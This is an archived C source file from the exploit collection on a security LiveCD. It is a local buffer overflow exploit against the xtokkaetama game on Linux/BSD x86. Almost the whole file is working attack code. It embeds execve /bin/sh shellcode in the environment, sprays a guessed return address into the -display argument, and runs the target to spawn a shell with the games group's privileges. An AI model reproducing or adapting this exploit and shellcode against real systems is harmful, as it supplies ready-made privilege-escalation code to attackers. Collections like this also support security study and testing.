home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / tokkaetama / xtokkax.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  55 lines

  1. /*
  2.  ** Linux/BSD x86 exploit vs xtokkaetama (c) gunzip
  3.  ** I don't think you can do something nasty  
  4.  ** with egid=games however (so this is mostly useless) 
  5.  ** just written with the idea to make expl targetless.
  6.  ** mostly ripped from gera's paper about bof :-o
  7.  ** http://members.xoom.it/gunzip/
  8.  ** gunzip@ircnet <techieone@softhome.net>
  9.  **
  10. */
  11. #include <stdio.h>
  12. #include <unistd.h>
  13. #include <stdlib.h>
  14. #include <sys/types.h>
  15. #include <sys/stat.h>
  16.  
  17. #define SIZE        20
  18. #define PATH         "/usr/games/xtokkaetama"
  19.  
  20. unsigned long STACKBASE() 
  21. {
  22.     __asm__ ( "movl    %esp,    %eax" );
  23. }
  24.  
  25. /**
  26.  ** linux and bsd execve shellcode by me
  27.  **/
  28. unsigned char shellcode[] =     
  29.     "\x31\xc0\x99\x52\x68\x2f\x2f\x73"
  30.     "\x68\x68\x2f\x62\x69\x6e\x89\xe3"
  31.     "\x52\x53\x89\xe1\x52\x51\x53\x54"
  32.     "\x8c\xe0\x85\xc0\x75\x04\xb0\x0b"
  33.     "\xeb\x02\xb0\x3b\xcd\x80";
  34.  
  35. int main( int argc, char *argv[] )
  36. {
  37.     unsigned long    i, ret ;
  38.     unsigned char    buf[ SIZE + 1 ],
  39.             * env[]= { shellcode, NULL },
  40.              * run[]= { PATH, "-display", buf, NULL };
  41.  
  42.       ret = ( ( STACKBASE() & 0xffff0000 ) | 0xfffa ) 
  43.         - strlen(PATH) - strlen(shellcode) ;
  44.  
  45.     memset( buf, 0, sizeof(buf) );
  46.   
  47.       for( i = 0; i < sizeof(buf) - 4; i += 4 ) 
  48.         *(unsigned long *)&buf[i] = ret;
  49.  
  50.       if( execve( run[0], (char **)run, (char **)env ) ) {    
  51.         perror( "execve" );
  52.         exit( -1 );
  53.     }
  54. }
  55.